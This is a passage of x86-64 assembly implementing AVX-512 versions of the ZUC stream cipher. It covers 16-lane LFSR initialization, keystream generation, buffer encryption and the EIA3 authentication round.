%define %%ZTMP5 %8 ;; [clobbered] ZMM temporary register
%define %%CONSTANTS %9 ;; [in] Address to constants
%define %%SHIFT_MASK %10 ;; [in] Mask register to shift K_31
%define %%IV_MASK %11 ;; [in] Mask register to read IV (last 10 bytes)
vmovdqu8 XWORD(%%ZTMP4){%%IV_MASK}, [%%IV + 16]
; Zero out first 2 bits of IV bytes 17-24
vpandq XWORD(%%ZTMP4), [rel iv_mask_low_6]
vshufi32x4 %%ZTMP4, %%ZTMP4, 0
vbroadcasti64x2 %%ZTMP1, [%%KEY]
vbroadcasti64x2 %%ZTMP2, [%%KEY + 16]
vbroadcasti64x2 %%ZTMP3, [%%IV]
vpshufb %%ZTMP5, %%ZTMP1, [rel shuf_mask_key256_first_high]
vpshufb %%LFSR, %%ZTMP3, [rel shuf_mask_iv256_first_high]
vporq %%LFSR, %%ZTMP5
vpsrld %%LFSR, 1
vpshufb %%ZTMP5, %%ZTMP2, [rel shuf_mask_key256_second]
vpsrld %%ZTMP5{%%SHIFT_MASK}, 4
vpandq %%ZTMP5, [rel key_mask_low_4]
vpshufb %%ZTMP1, [rel shuf_mask_key256_first_low]
vpshufb %%ZTMP3, [rel shuf_mask_iv256_first_low]
vpshufb %%ZTMP4, [rel shuf_mask_iv256_second]
vpternlogq %%LFSR, %%ZTMP5, %%ZTMP1, 0xFE
vpternlogq %%LFSR, %%ZTMP3, %%ZTMP4, 0xFE
vporq %%LFSR, [%%CONSTANTS]
%endmacro
%macro INIT_16_AVX512 1
%define %%KEY_SIZE %1 ; [in] Key size (128 or 256)
%ifdef LINUX
%define pKe rdi
%define pIv rsi
%define pState rdx
%define lane_mask ecx
%else
%define pKe rcx
%define pIv rdx
%define pState r8
%define lane_mask r9d
%endif
%define tag_sz r10d ; Only used in ZUC-256 (caller written in assembly, so using a hardcoded register)
%define tag_sz_q r10
%define %%X0 zmm16
%define %%X1 zmm17
%define %%X2 zmm18
%define %%W zmm19
%define %%R1 zmm20
%define %%R2 zmm21
FUNC_SAVE
mov rax, pState
kmovw k2, lane_mask
%if %%KEY_SIZE == 256
; Get pointer to constants (depending on tag size, this will point at
; constants for encryption, authentication with 4-byte, 8-byte or 16-byte tags)
lea r13, [rel EK256_d64]
bsf tag_sz, tag_sz
dec tag_sz
shl tag_sz, 6
add r13, tag_sz_q
mov r11, 0x4000 ; Mask to shift 4 bits only in the 15th dword
kmovq k1, r11
mov r11, 0x3ff ; Mask to read 10 bytes of IV
kmovq k3, r11
%endif
; Set LFSR registers for Packet 1
mov r9, [pKe] ; Load Key 1 pointer
mov r10, [pIv] ; Load IV 1 pointer
%if %%KEY_SIZE == 128
INIT_LFSR_128 r9, r10, zmm0, zmm1
%else
INIT_LFSR_256 r9, r10, zmm0, zmm3, zmm5, zmm7, zmm9, zmm11, r13, k1, k3
%endif
; Set LFSR registers for Packets 2-15
%assign idx 1
%assign reg_lfsr 2
%assign reg_tmp 3
%rep 14
mov r9, [pKe+8*idx] ; Load Key N pointer
mov r10, [pIv+8*idx] ; Load IV N pointer
%if %%KEY_SIZE == 128
INIT_LFSR_128 r9, r10, APPEND(zmm, reg_lfsr), APPEND(zmm, reg_tmp)
%else
INIT_LFSR_256 r9, r10, APPEND(zmm, reg_lfsr), zmm3, zmm5, zmm7, zmm9, zmm11, r13, k1, k3
%endif
%assign idx (idx + 1)
%assign reg_lfsr (reg_lfsr + 2)
%assign reg_tmp (reg_tmp + 2)
%endrep
; Set LFSR registers for Packet 16
mov r9, [pKe+8*15] ; Load Key 16 pointer
mov r10, [pIv+8*15] ; Load IV 16 pointer
%if %%KEY_SIZE == 128
INIT_LFSR_128 r9, r10, zmm30, zmm31
%else
INIT_LFSR_256 r9, r10, zmm30, zmm3, zmm5, zmm7, zmm9, zmm11, r13, k1, k3
%endif
; Store LFSR registers in memory (reordering first, so all S0 regs
; are together, then all S1 regs... until S15)
TRANSPOSE16_U32 zmm0, zmm2, zmm4, zmm6, zmm8, zmm10, zmm12, zmm14, \
zmm16, zmm18, zmm20, zmm22, zmm24, zmm26, zmm28, zmm30, \
zmm1, zmm3, zmm5, zmm7, zmm9, zmm11, zmm13, zmm15, \
zmm17, zmm19, zmm21, zmm23, zmm25, zmm27
%assign i 0
%assign j 0
%rep 16
vmovdqa32 [pState + 64*i]{k2}, APPEND(zmm, j)
%assign i (i+1)
%assign j (j+2)
%endrep
; Load read-only registers
vmovdqa64 zmm12, [rel mask31]
mov edx, 0xAAAAAAAA
kmovd k1, edx
; Zero out R1, R2
vpxorq %%R1, %%R1
vpxorq %%R2, %%R2
; Shift LFSR 32-times, update state variables
%assign N 0
%rep 32
bits_reorg16 rax, N, k2, zmm0, zmm2, zmm5, zmm7, zmm9, zmm11, zmm14, \
zmm15, zmm1, k1, %%X0, %%X1, %%X2
nonlin_fun16 rax, k2, init, %%X0, %%X1, %%X2, %%R1, %%R2, \
zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, %%W
vpsrld %%W,1 ; Shift out LSB of W
lfsr_updt16 rax, N, k2, zmm1, zmm4, zmm10, zmm13, zmm15, \
zmm2, zmm12, %%W, k7, init ; W used in LFSR update
%assign N N+1
%endrep
; And once more, initial round from keygen phase = 33 times
bits_reorg16 rax, 0, k2, zmm0, zmm2, zmm5, zmm7, zmm9, zmm11, zmm14, \
zmm15, zmm1, k1, %%X0, %%X1, %%X2
nonlin_fun16 rax, k2, init, %%X0, %%X1, %%X2, %%R1, %%R2, \
zmm1, zmm2, zmm3, zmm4, zmm5, zmm6
lfsr_updt16 rax, 0, k2, zmm1, zmm4, zmm10, zmm13, zmm15, \
zmm2, zmm12, %%W, k7, work
; Update R1, R2
vmovdqa32 [rax + OFS_R1]{k2}, %%R1
vmovdqa32 [rax + OFS_R2]{k2}, %%R2
FUNC_RESTORE
%endmacro
;;
;; void asm_ZucInitialization_16_avx512(ZucKey16_t *pKeys, ZucIv16_t *pIvs,
;; ZucState16_t *pState)
;;
MKGLOBAL(ZUC128_INIT,function,internal)
ZUC128_INIT:
endbranch64
INIT_16_AVX512 128
ret
;;
;; void asm_Zuc256Initialization_16_avx512(ZucKey16_t *pKeys, ZucIv16_t *pIvs,
;; ZucState16_t *pState, uint32_t tag_sz)
;;
MKGLOBAL(ZUC256_INIT,function,internal)
ZUC256_INIT:
endbranch64
INIT_16_AVX512 256
ret
;
; Generate N*4 bytes of keystream
; for 16 buffers (where N is number of rounds)
;
%macro KEYGEN_16_AVX512 2-3
%define %%NUM_ROUNDS %1 ; [in] Number of 4-byte rounds
%define %%STORE_SINGLE %2 ; [in] If 1, KS will be stored continuosly in a single buffer
%define %%LANE_MASK %3 ; [in] Lane mask with lanes to generate all keystream words
%define pState arg1
%define pKS arg2
%define keyOff arg3
FUNC_SAVE
; Load state pointer in RAX
mov rax, pState
; Load read-only registers
vmovdqa64 zmm12, [rel mask31]
mov r10d, 0xAAAAAAAA
kmovd k1, r10d
%if (%0 == 3)
kmovd k2, DWORD(%%LANE_MASK)
knotd k4, k2
mov r10d, 0x0000FFFF
kmovd k3, r10d
%else
mov r10d, 0x0000FFFF
kmovd k2, r10d
kmovd k3, k2
%endif
; Store all 4 bytes of keystream in a single 64-byte buffer
%if (%%NUM_ROUNDS == 1)
bits_reorg16 rax, 1, k2, zmm0, zmm2, zmm5, zmm7, zmm9, zmm11, zmm14, \
zmm15, zmm1, k1, none, none, none, zmm16
nonlin_fun16 rax, k2, working, none, none, none, none, none, \
zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm0
; OFS_X3 XOR W (zmm0)
vpxorq zmm16, zmm0
lfsr_updt16 rax, 1, k2, zmm1, zmm4, zmm10, zmm13, zmm15, \
zmm2, zmm12, zmm0, k7, work
%else ;; %%NUM_ROUNDS != 1
; Generate N*4B of keystream in N rounds
; Generate first bytes of KS for all lanes
%assign N 1
%assign idx 16
%rep (%%NUM_ROUNDS-2)
bits_reorg16 rax, N, k3, zmm0, zmm2, zmm5, zmm7, zmm9, zmm11, zmm14, \
zmm15, zmm1, k1, none, none, none, APPEND(zmm, idx)
nonlin_fun16 rax, k3, working, none, none, none, none, none, \
zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm0
; OFS_X3 XOR W (zmm0)
vpxorq APPEND(zmm, idx), zmm0
lfsr_updt16 rax, N, k3, zmm1, zmm4, zmm10, zmm13, zmm15, \
zmm2, zmm12, zmm0, k7, work
%assign N N+1
%assign idx (idx + 1)
%endrep
; Generate rest of the KS bytes (last 8 bytes) for selected lanes
%rep 2
bits_reorg16 rax, N, k2, zmm0, zmm2, zmm5, zmm7, zmm9, zmm11, zmm14, \
zmm15, zmm1, k1, none, none, none, APPEND(zmm, idx)
nonlin_fun16 rax, k2, working, none, none, none, none, none, \
zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm0
; OFS_X3 XOR W (zmm0)
vpxorq APPEND(zmm, idx), zmm0
lfsr_updt16 rax, N, k2, zmm1, zmm4, zmm10, zmm13, zmm15, \
zmm2, zmm12, zmm0, k7, work
%assign N N+1
%assign idx (idx + 1)
%endrep
%endif ;; (%%NUM_ROUNDS == 1)
%if (%%STORE_SINGLE == 1)
vmovdqa32 [pKS]{k2}, zmm16
%else
; ZMM16-31 contain the keystreams for each round
; Perform a 32-bit 16x16 transpose to have up to 64 bytes
; (NUM_ROUNDS * 4B) of each lane in a different register
TRANSPOSE16_U32_INTERLEAVED zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, \
zmm8, zmm9
%if (%0 == 3)
lea r12, [rel alignr_mask]
lea r13, [rel mov_mask]
store_kstr16 zmm6, zmm4, zmm28, zmm16, zmm7, zmm5, zmm29, zmm17, \
zmm2, zmm0, zmm30, zmm18, zmm3, zmm1, zmm31, zmm19, keyOff, \
%%LANE_MASK, r12, r13, r10, k3, k5
%else
store_kstr16 zmm6, zmm4, zmm28, zmm16, zmm7, zmm5, zmm29, zmm17, \
zmm2, zmm0, zmm30, zmm18, zmm3, zmm1, zmm31, zmm19, keyOff
%endif
%endif ;; %%STORE_SINGLE == 1
; Reorder LFSR registers
%if (%0 == 3)
REORDER_LFSR rax, %%NUM_ROUNDS, k2
%if (%%NUM_ROUNDS >= 2)
REORDER_LFSR rax, (%%NUM_ROUNDS - 2), k4 ; 2 less rounds for "old" buffers
%endif
%else
REORDER_LFSR rax, %%NUM_ROUNDS, k2
%endif
FUNC_RESTORE
%endmacro
;;
;; void asm_ZucGenKeystream64B_16_avx512(state16_t *pSta, u32* pKeyStr[16],
;; const u32 key_off)
;;
MKGLOBAL(ZUC_KEYGEN64B_16,function,internal)
ZUC_KEYGEN64B_16:
endbranch64
KEYGEN_16_AVX512 16, 0
ret
;;
;; void asm_ZucGenKeystream64B_16_skip8_avx512(state16_t *pSta, u32* pKeyStr[16],
;; const u32 key_off,
;; const u16 lane_mask)
;;
MKGLOBAL(ZUC_KEYGEN64B_SKIP8_16,function,internal)
ZUC_KEYGEN64B_SKIP8_16:
endbranch64
KEYGEN_16_AVX512 16, 0, arg4
ret
;;
;; void asm_ZucGenKeystream8B_16_avx512(state16_t *pSta, u32* pKeyStr[16],
;; const u32 key_off)
;;
MKGLOBAL(ZUC_KEYGEN8B_16,function,internal)
ZUC_KEYGEN8B_16:
endbranch64
KEYGEN_16_AVX512 2, 0
ret
;;
;; void asm_ZucGenKeystream4B_16_avx512(state16_t *pSta, u32 pKeyStr[16],
;; const u32 lane_mask)
;;
MKGLOBAL(ZUC_KEYGEN4B_16,function,internal)
ZUC_KEYGEN4B_16:
endbranch64
KEYGEN_16_AVX512 1, 1, arg3
ret
%macro KEYGEN_VAR_16_AVX512 1-2
%define %%NUM_ROUNDS %1 ; [in] Number of 4-byte rounds (GP dowrd register)
%define %%LANE_MASK %2 ; [in] Lane mask with lanes to generate full keystream (rest 2 words less)
cmp %%NUM_ROUNDS, 16
je %%_num_rounds_is_16
cmp %%NUM_ROUNDS, 8
je %%_num_rounds_is_8
jb %%_rounds_is_1_7
; Final blocks 9-16
cmp %%NUM_ROUNDS, 12
je %%_num_rounds_is_12
jb %%_rounds_is_9_11
; Final blocks 13-15
cmp %%NUM_ROUNDS, 14
je %%_num_rounds_is_14
ja %%_num_rounds_is_15
jb %%_num_rounds_is_13
%%_rounds_is_9_11:
cmp %%NUM_ROUNDS, 10
je %%_num_rounds_is_10
ja %%_num_rounds_is_11
jb %%_num_rounds_is_9
%%_rounds_is_1_7:
cmp %%NUM_ROUNDS, 4
je %%_num_rounds_is_4
jb %%_rounds_is_1_3
; Final blocks 5-7
cmp %%NUM_ROUNDS, 6
je %%_num_rounds_is_6
ja %%_num_rounds_is_7
jb %%_num_rounds_is_5
%%_rounds_is_1_3:
cmp %%NUM_ROUNDS, 2
je %%_num_rounds_is_2
ja %%_num_rounds_is_3
; Rounds = 1 if fall-through
%assign I 1
%rep 16
APPEND(%%_num_rounds_is_,I):
%if (%0 == 2)
KEYGEN_16_AVX512 I, 0, %%LANE_MASK
%else
KEYGEN_16_AVX512 I, 0
%endif
jmp %%_done
%assign I (I + 1)
%endrep
%%_done:
%endmacro
;;
;; void asm_ZucGenKeystream_16_avx512(state16_t *pSta, u32* pKeyStr[16],
;; const u32 key_off,
;; const u32 numRounds)
;;
MKGLOBAL(ZUC_KEYGEN_16,function,internal)
ZUC_KEYGEN_16:
endbranch64
KEYGEN_VAR_16_AVX512 arg4
ret
;;
;; void asm_ZucGenKeystream_16_skip8_avx512(state16_t *pSta, u32* pKeyStr[16],
;; const u32 key_off,
;; const u16 lane_mask,
;; u32 numRounds)
;;
MKGLOBAL(ZUC_KEYGEN_SKIP8_16,function,internal)
ZUC_KEYGEN_SKIP8_16:
%ifdef LINUX
%define arg5 r8d
%else
%define arg5 [rsp + 40]
%endif
endbranch64
mov r10d, arg5
KEYGEN_VAR_16_AVX512 r10d, arg4
ret
%macro CIPHER64B 5
%define %%NROUNDS %1
%define %%BYTE_MASK %2
%define %%LANE_MASK %3
%define %%OFFSET %4
%define %%LAST_ROUND %5
; Generate N*4B of keystream in N rounds
%assign N 1
%assign idx 16
%rep %%NROUNDS
bits_reorg16 rax, N, %%LANE_MASK, zmm0, zmm2, zmm5, zmm7, zmm9, zmm11, \
zmm14, zmm15, zmm1, k1, none, none, none, APPEND(zmm, idx)
nonlin_fun16 rax, %%LANE_MASK, working, none, none, none, none, none, \
zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm0
; OFS_X3 XOR W (zmm0)
vpxorq APPEND(zmm, idx), zmm0
; Shuffle bytes within KS words to XOR with plaintext later
vpshufb APPEND(zmm, idx), [rel swap_mask]
lfsr_updt16 rax, N, %%LANE_MASK, zmm1, zmm4, zmm10, zmm13, zmm15, \
zmm2, zmm12, zmm0, k7, work
%assign N (N + 1)
%assign idx (idx + 1)
%endrep
; ZMM16-31 contain the keystreams for each round
; Perform a 32-bit 16x16 transpose to have the 64 bytes
; of each lane in a different register
TRANSPOSE16_U32 zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, \
zmm8, zmm9, zmm10, zmm11, zmm12, zmm13
;; XOR Input buffer with keystream
%if %%LAST_ROUND == 1
lea rbx, [rel byte64_len_to_mask_table]
%endif
;; Read all 16 streams using registers r12-15 into registers zmm0-15
%assign i 0
%assign j 0
%assign k 12
%rep 16
%if %%LAST_ROUND == 1
;; Read number of bytes left to encrypt for the lane stored in stack
;; and construct byte mask to read from input pointer
movzx r12d, word [rsp + j*2]
kmovq %%BYTE_MASK, [rbx + r12*8]
%endif
mov APPEND(r, k), [pIn + i]
vmovdqu8 APPEND(zmm, j){%%BYTE_MASK}{z}, [APPEND(r, k) + %%OFFSET]
%assign k 12 + ((j + 1) % 4)
%assign j (j + 1)
%assign i (i + 8)
%endrep
;; XOR Input (zmm0-15) with Keystreams (zmm16-31)
%assign i 0
%assign j 16
%rep 16
vpxorq zmm %+j, zmm %+i
%assign i (i + 1)
%assign j (j + 1)
%endrep
;; Write output for all 16 buffers (zmm16-31) using registers r12-15
%assign i 0
%assign j 16
%assign k 12
%rep 16
%if %%LAST_ROUND == 1
;; Read length to encrypt for the lane stored in stack
;; and construct byte mask to write to output pointer
movzx r12d, word [rsp + (j-16)*2]
kmovq %%BYTE_MASK, [rbx + r12*8]
%endif
mov APPEND(r, k), [pOut + i]
vmovdqu8 [APPEND(r, k) + %%OFFSET]{%%BYTE_MASK}, APPEND(zmm, j)
%assign k 12 + ((j + 1) % 4)
%assign j (j + 1)
%assign i (i + 8)
%endrep
%endmacro
;;
;; void asm_ZucCipher_16_avx512(state16_t *pSta, u64 *pIn[16],
;; u64 *pOut[16], u16 lengths[16],
;; u64 min_length);
MKGLOBAL(CIPHER_16,function,internal)
CIPHER_16:
%ifdef LINUX
%define pState rdi
%define pIn rsi
%define pOut rdx
%define lengths rcx
%define arg5 r8
%else
%define pState rcx
%define pIn rdx
%define pOut r8
%define lengths r9
%define arg5 [rsp + 40]
%endif
%define min_length r10
%define buf_idx r11
mov min_length, arg5
FUNC_SAVE
; Convert all lengths set to UINT16_MAX (indicating that lane is not valid) to min length
vpbroadcastw ymm0, min_length
vmovdqa ymm1, [lengths]
vpcmpw k1, ymm1, [rel all_ffs], 0
vmovdqu16 ymm1{k1}, ymm0 ; YMM1 contain updated lengths
; Round up to nearest multiple of 4 bytes
vpaddw ymm0, [rel all_threes]
vpandq ymm0, [rel all_fffcs]
; Calculate remaining bytes to encrypt after function call
vpsubw ymm2, ymm1, ymm0
vpxorq ymm3, ymm3
vpcmpw k1, ymm2, ymm3, 1 ; Get mask of lengths < 0
; Set to zero the lengths of the lanes which are going to be completed
vmovdqu16 ymm2{k1}, ymm3 ; YMM2 contain final lengths
vmovdqa [lengths], ymm2 ; Update in memory the final updated lengths
; Calculate number of bytes to encrypt after round of 64 bytes (up to 63 bytes),
; for each lane, and store it in stack to be used in the last round
vpsubw ymm1, ymm2 ; Bytes to encrypt in all lanes
vpandq ymm1, [rel all_3fs] ; Number of final bytes (up to 63 bytes) for each lane
sub rsp, 32
vmovdqu [rsp], ymm1
; Load state pointer in RAX
mov rax, pState
; Load read-only registers
mov r12d, 0xAAAAAAAA
kmovd k1, r12d
mov r12, 0xFFFFFFFFFFFFFFFF
kmovq k2, r12
mov r12d, 0x0000FFFF
kmovd k3, r12d
xor buf_idx, buf_idx
;; Perform rounds of 64 bytes, where LFSR reordering is not needed
loop:
cmp min_length, 64
jl exit_loop
vmovdqa64 zmm12, [rel mask31]
CIPHER64B 16, k2, k3, buf_idx, 0
sub min_length, 64
add buf_idx, 64
jmp loop
exit_loop:
mov r15, min_length
add r15, 3
shr r15, 2 ;; numbers of rounds left (round up length to nearest multiple of 4B)
jz _no_final_rounds
vmovdqa64 zmm12, [rel mask31]
cmp r15, 8
je _num_final_rounds_is_8
jl _final_rounds_is_1_7
; Final blocks 9-16
cmp r15, 12
je _num_final_rounds_is_12
jl _final_rounds_is_9_11
; Final blocks 13-16
cmp r15, 16
je _num_final_rounds_is_16
cmp r15, 15
je _num_final_rounds_is_15
cmp r15, 14
je _num_final_rounds_is_14
cmp r15, 13
je _num_final_rounds_is_13
_final_rounds_is_9_11:
cmp r15, 11
je _num_final_rounds_is_11
cmp r15, 10
je _num_final_rounds_is_10
cmp r15, 9
je _num_final_rounds_is_9
_final_rounds_is_1_7:
cmp r15, 4
je _num_final_rounds_is_4
jl _final_rounds_is_1_3
; Final blocks 5-7
cmp r15, 7
je _num_final_rounds_is_7
cmp r15, 6
je _num_final_rounds_is_6
cmp r15, 5
je _num_final_rounds_is_5
_final_rounds_is_1_3:
cmp r15, 3
je _num_final_rounds_is_3
cmp r15, 2
je _num_final_rounds_is_2
jmp _num_final_rounds_is_1
; Perform encryption of last bytes (<= 64 bytes) and reorder LFSR registers
; if needed (if not all 16 rounds of 4 bytes are done)
%assign I 1
%rep 16
APPEND(_num_final_rounds_is_,I):
CIPHER64B I, k2, k3, buf_idx, 1
REORDER_LFSR rax, I, k3
add buf_idx, min_length
jmp _no_final_rounds
%assign I (I + 1)
%endrep
_no_final_rounds:
add rsp, 32
;; update in/out pointers
add buf_idx, 3
and buf_idx, 0xfffffffffffffffc
vpbroadcastq zmm0, buf_idx
vpaddq zmm1, zmm0, [pIn]
vpaddq zmm2, zmm0, [pIn + 64]
vmovdqa64 [pIn], zmm1
vmovdqa64 [pIn + 64], zmm2
vpaddq zmm1, zmm0, [pOut]
vpaddq zmm2, zmm0, [pOut + 64]
vmovdqa64 [pOut], zmm1
vmovdqa64 [pOut + 64], zmm2
FUNC_RESTORE
ret
;;
;;extern void asm_Eia3Round64B_16(uint32_t *T, const void *KS,
;; const void **DATA, uint16_t *LEN);
;;
;; Updates authentication tag T of 16 buffers based on keystream KS and DATA.
;; - it processes 64 bytes of DATA of buffers
;; - reads data in 16 byte chunks from different buffers
;; (first buffers 0,4,8,12; then 1,5,9,13; etc) and bit reverses them
;; - reads KS (when utilizing VPCLMUL instructions, it reads 64 bytes directly,
;; containing 16 bytes of KS for 4 different buffers)
;; - employs clmul for the XOR & ROL part
;; - copies top 64 bytes of KS to bottom (for the next round)
;; - Updates Data pointers for next rounds
;; - Updates array of lengths
;;
;; @param [in] T: Array of digests for all 16 buffers
;; @param [in] KS: Pointer to 128 bytes of keystream for all 16 buffers (2048 bytes in total)
;; @param [in] DATA: Array of pointers to data for all 16 buffers
;; @param [in] LEN: Array of lengths for all 16 buffers
;;
align 64
MKGLOBAL(ZUC_ROUND64B_16,function,internal)
ZUC_ROUND64B_16:
endbranch64
%ifdef LINUX
%define T rdi
%define KS rsi
%define DATA rdx
%define LEN rcx
%else
%define T rcx
%define KS rdx
%define DATA r8
%define LEN r9
%endif
%if USE_GFNI == 1
%define DATA_ADDR0 rbx
%define DATA_ADDR1 r10
%define DATA_ADDR2 r11
%define DATA_ADDR3 r12
%define DATA_TRANS0 zmm19
%define DATA_TRANS1 zmm20
%define DATA_TRANS2 zmm21
%define DATA_TRANS3 zmm22
%define DATA_TRANS0x xmm19
%define DATA_TRANS1x xmm20
%define DATA_TRANS2x xmm21
%define DATA_TRANS3x xmm22
%define KS_TRANS0 zmm23
%define KS_TRANS1 zmm24
%define KS_TRANS2 zmm25
%define KS_TRANS3 zmm26
%define KS_TRANS4 zmm27
%define KS_TRANS0x xmm23
%define KS_TRANS1x xmm24
%define KS_TRANS2x xmm25
%define KS_TRANS3x xmm26
%define KS_TRANS4x xmm27
%define DIGEST_0 zmm28
%define DIGEST_1 zmm29
%define DIGEST_2 zmm30
%define DIGEST_3 zmm31
%define ZTMP1 zmm0
%define ZTMP2 zmm1
%define ZTMP3 zmm2
%define ZTMP4 zmm3
%define ZTMP5 zmm4
%define ZTMP6 zmm5
%define ZTMP7 zmm6
%define ZTMP8 zmm7
%define YTMP1 YWORD(ZTMP1)
%define MASK_64 zmm8
FUNC_SAVE
vmovdqa64 MASK_64, [rel data_mask_64bits]
;; Read first buffers 0,4,8,12; then 1,5,9,13, and so on,
;; since the keystream is laid out this way, which chunks of
;; 16 bytes interleved. First the 128 bytes for
;; buffers 0,4,8,12 (total of 512 bytes), then the 128 bytes
;; for buffers 1,5,9,13, and so on
%assign IDX 0
%rep 4
vpxorq APPEND(DIGEST_, IDX), APPEND(DIGEST_, IDX)
mov DATA_ADDR0, [DATA + IDX*8 + 0*32]
mov DATA_ADDR1, [DATA + IDX*8 + 1*32]
mov DATA_ADDR2, [DATA + IDX*8 + 2*32]
mov DATA_ADDR3, [DATA + IDX*8 + 3*32]
vmovdqu64 KS_TRANS0, [KS + IDX*64*2*4]
%assign I 0
%assign J 1
%rep 4
vmovdqu64 XWORD(APPEND(DATA_TRANS, I)), [DATA_ADDR0 + 16*I]
vinserti32x4 APPEND(DATA_TRANS, I), [DATA_ADDR1 + 16*I], 1
vinserti32x4 APPEND(DATA_TRANS, I), [DATA_ADDR2 + 16*I], 2
vinserti32x4 APPEND(DATA_TRANS, I), [DATA_ADDR3 + 16*I], 3
vmovdqu64 APPEND(KS_TRANS, J), [KS + IDX*64*2*4 + 64*J]
;; Reverse bits of next 16 bytes from all 4 buffers
vgf2p8affineqb ZTMP1, APPEND(DATA_TRANS,I), [rel bit_reverse_table], 0x00
;; ZUC authentication part
;; - 4x32 data bits
;; - set up KS
vpalignr ZTMP2, APPEND(KS_TRANS, J), APPEND(KS_TRANS, I), 8
vpshufd ZTMP3, APPEND(KS_TRANS, I), 0x61
vpshufd ZTMP4, ZTMP2, 0x61
;; - set up DATA
vpandq ZTMP2, ZTMP1, MASK_64
vpshufd APPEND(DATA_TRANS, I), ZTMP2, 0xdc
vpsrldq ZTMP1, 8
vpshufd ZTMP2, ZTMP1, 0xdc
;; - clmul
;; - xor the results from 4 32-bit words together
vpclmulqdq ZTMP5, APPEND(DATA_TRANS, I), ZTMP3, 0x00
vpclmulqdq ZTMP6, APPEND(DATA_TRANS, I), ZTMP3, 0x11
vpclmulqdq ZTMP7, ZTMP2, ZTMP4, 0x00
vpclmulqdq ZTMP8, ZTMP2, ZTMP4, 0x11
vpternlogq ZTMP5, ZTMP6, ZTMP8, 0x96
vpternlogq APPEND(DIGEST_, IDX), ZTMP5, ZTMP7, 0x96
%assign J (J + 1)
%assign I (I + 1)
%endrep
; Memcpy KS 64-127 bytes to 0-63 bytes
vmovdqa64 ZTMP4, [KS + IDX*4*64*2 + 64*4]
vmovdqa64 ZTMP1, [KS + IDX*4*64*2 + 64*5]
vmovdqa64 ZTMP2, [KS + IDX*4*64*2 + 64*6]
vmovdqa64 ZTMP3, [KS + IDX*4*64*2 + 64*7]
vmovdqa64 [KS + IDX*4*64*2], ZTMP4
vmovdqa64 [KS + IDX*4*64*2 + 64], ZTMP1
vmovdqa64 [KS + IDX*4*64*2 + 64*2], ZTMP2
vmovdqa64 [KS + IDX*4*64*2 + 64*3], ZTMP3
%assign IDX (IDX + 1)
%endrep
;; - update tags
mov r12, 0x3333
mov r13, 0xCCCC
kmovq k1, r12
kmovq k2, r13
vmovdqu64 ZTMP1, [T] ; Input tags
vmovdqa64 ZTMP2, [rel shuf_mask_tags_0_4_8_12]
vmovdqa64 ZTMP3, [rel shuf_mask_tags_0_4_8_12 + 64]
; Get result tags for 16 buffers in different position in each lane
; and blend these tags into an ZMM register.
; Then, XOR the results with the previous tags and write out the result.
vpermt2d DIGEST_0{k1}{z}, ZTMP2, DIGEST_1
vpermt2d DIGEST_2{k2}{z}, ZTMP3, DIGEST_3
vpternlogq ZTMP1, DIGEST_0, DIGEST_2, 0x96 ; A XOR B XOR C
vmovdqu64 [T], ZTMP1
; Update data pointers
vmovdqu64 ZTMP1, [DATA]
vmovdqu64 ZTMP2, [DATA + 64]
vpaddq ZTMP1, [rel add_64]
vpaddq ZTMP2, [rel add_64]
vmovdqu64 [DATA], ZTMP1
vmovdqu64 [DATA + 64], ZTMP2
; Update array of lengths (subtract 512 bits from all lengths if valid lane)
vmovdqa YTMP1, [LEN]
vpcmpw k1, YTMP1, [rel all_ffs], 4
vpsubw YTMP1{k1}, [rel all_512w]
vmovdqa [LEN], YTMP1
%else ; USE_GFNI == 1
%define DIGEST_0 zmm28
%define DIGEST_1 zmm29
%define DIGEST_2 zmm30
%define DIGEST_3 zmm31
%define DATA_ADDR r10
FUNC_SAVE
vmovdqa xmm5, [bit_reverse_table_l]
vmovdqa xmm6, [bit_reverse_table_h]
vmovdqa xmm7, [bit_reverse_and_table]
vmovdqa xmm10, [data_mask_64bits]
;; Read first buffers 0,4,8,12; then 1,5,9,13, and so on,
;; since the keystream is laid out this way, which chunks of
;; 16 bytes interleved. First the 128 bytes for
;; buffers 0,4,8,12 (total of 512 bytes), then the 128 bytes
;; for buffers 1,5,9,13, and so on
%assign I 0
%rep 4
%assign J 0
%rep 4
vpxor xmm9, xmm9
mov DATA_ADDR, [DATA + 8*(J*4 + I)]
%assign K 0
%rep 4
;; read 16 bytes and reverse bits
vmovdqu xmm0, [DATA_ADDR + 16*K]
vpand xmm1, xmm0, xmm7
vpandn xmm2, xmm7, xmm0
vpsrld xmm2, 4
vpshufb xmm8, xmm6, xmm1 ; bit reverse low nibbles (use high table)
vpshufb xmm4, xmm5, xmm2 ; bit reverse high nibbles (use low table)
vpor xmm8, xmm4
; xmm8 - bit reversed data bytes
;; ZUC authentication part
;; - 4x32 data bits
;; - set up KS
%if K != 0
vmovdqa xmm11, xmm12
vmovdqu xmm12, [KS + (16*J + I*512) + (K + 1)*(16*4)]
%else
vmovdqu xmm11, [KS + (16*J + I*512)]
vmovdqu xmm12, [KS + (16*J + I*512) + (16*4)]
%endif
vpalignr xmm13, xmm12, xmm11, 8
vpshufd xmm2, xmm11, 0x61
vpshufd xmm3, xmm13, 0x61
;; - set up DATA
vpand xmm13, xmm10, xmm8
vpshufd xmm0, xmm13, 0xdc
vpsrldq xmm8, 8
vpshufd xmm1, xmm8, 0xdc
;; - clmul
;; - xor the results from 4 32-bit words together
vpclmulqdq xmm13, xmm0, xmm2, 0x00
vpclmulqdq xmm14, xmm0, xmm2, 0x11
vpclmulqdq xmm15, xmm1, xmm3, 0x00
vpclmulqdq xmm8, xmm1, xmm3, 0x11
vpternlogq xmm13, xmm14, xmm8, 0x96
vpternlogq xmm9, xmm13, xmm15, 0x96
%assign K (K + 1)
%endrep
vinserti32x4 APPEND(DIGEST_, I), xmm9, J
%assign J (J + 1)
%endrep
; Memcpy KS 64-127 bytes to 0-63 bytes
